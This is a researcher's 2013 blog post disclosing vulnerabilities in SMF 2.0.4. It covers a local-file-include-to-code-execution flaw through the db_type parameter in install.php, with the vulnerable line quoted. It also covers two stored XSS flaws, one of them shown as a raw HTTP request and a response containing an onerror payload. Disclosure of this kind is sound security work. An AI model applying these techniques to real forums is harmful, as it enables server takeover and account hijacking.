Sunday, 14 April 2013

[EN] SMF 2.0.4 - full disclosure


as I said few days ago, I found few vulnerabilities in latest SMF.

First of all, let's check a local file include vulnerability.
If admin will not delete the install.php file after installation, attacker is able to run command and compromise
the server. Idea is simple. User who is able to put php-file (with webshell) at SMF-installed-server,
can exploit a require_once() function to get a shell at remote host.

In install.php file you have a not filtered POST parameter, db_type. If you will set value of this parameter to
your 'evilshell', then you can run commands. Check it out:
LFI to RCE in install.php

That's right. Vulnerable line in install.php is 357:
 require_once($sourcedir . '/Subs-Db-'. $db_type . '.php');

Another nice idea is to put persistent XSS code in SMF.
Here I will present only persistent XSS for admin user.  (Maybe in the future, I will add here stored XSS code for normal user too, because I found that too.) If admin is logged in, he can create a new board.

'board_name' is vulnerable because we can put here unfiltered  code to exploit XSS vulnerability.
Code will be added permanently. Look at this:

Vulnerable board_name
and successfully added code below:
Stored XSS

* Update 15.04.2013 *
Another XSS for normal (registered) user is described below.

First you will see request for SMF, and second is response (part of it):
1. xss:

POST /kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings;save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa=settings
Cookie: SMFCookie956=a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%222%22%3Bi%3A1%3Bs%3A40%3A%2266a7209472fa1c52741c57363dfb6acab71256c4%22%3Bi%3A2%3Bi%3A1555224490%3Bi%3A3%3Bi%3A3%3B%7D; PHPSESSID=hnfbpm852gmk94s53u5tt7jr23

Content-Type: multipart/form-data; boundary=---------------------------96503762710472713441302808443
Connection: close
Content-Length: 1373

Content-Disposition: form-data; name="pm_prefs"


Content-Disposition: form-data; name="default_options[view_newest_pm_first]"

Content-Disposition: form-data; name="pm_receive_from"

Content-Disposition: form-data; name="pm_email_notify"

Content-Disposition: form-data; name="default_options[popup_messages]"

Content-Disposition: form-data; name="default_options[copy_to_outbox]"

Content-Disposition: form-data; name="default_options[pm_remove_inbox_label]"

Content-Disposition: form-data; name="dc64ddea87"

Content-Disposition: form-data; name="u"

Content-Disposition: form-data; name="sa"


Response for that, should be similar to this one:
    <a href="http://localhost/kuba/14.04/smf_2.0.4/index.php?action=pm;sa="><img/src="x"/onerror="alert(123)"><;f=inbox;l=-1;togglebar"><img id="menu_toggle" src="http://localhost/kuba/14.04/smf_2.0.4/Themes/default/images/admin/change_menu.png" alt="*" /></a>
<div id="admin_menu">
    <ul class="dropmenu" id="dropdown_menu_1">

And view from Burp:
SMF 2.0.4 XSSed again

This post will be updated as soon as I will finish tests for admin user too because I think there is a nice add-shell-via-csrf vulnerability. But I must retest it to be 100% sure. :)

Enjoy o/

No comments:

Post a Comment

What do You think...?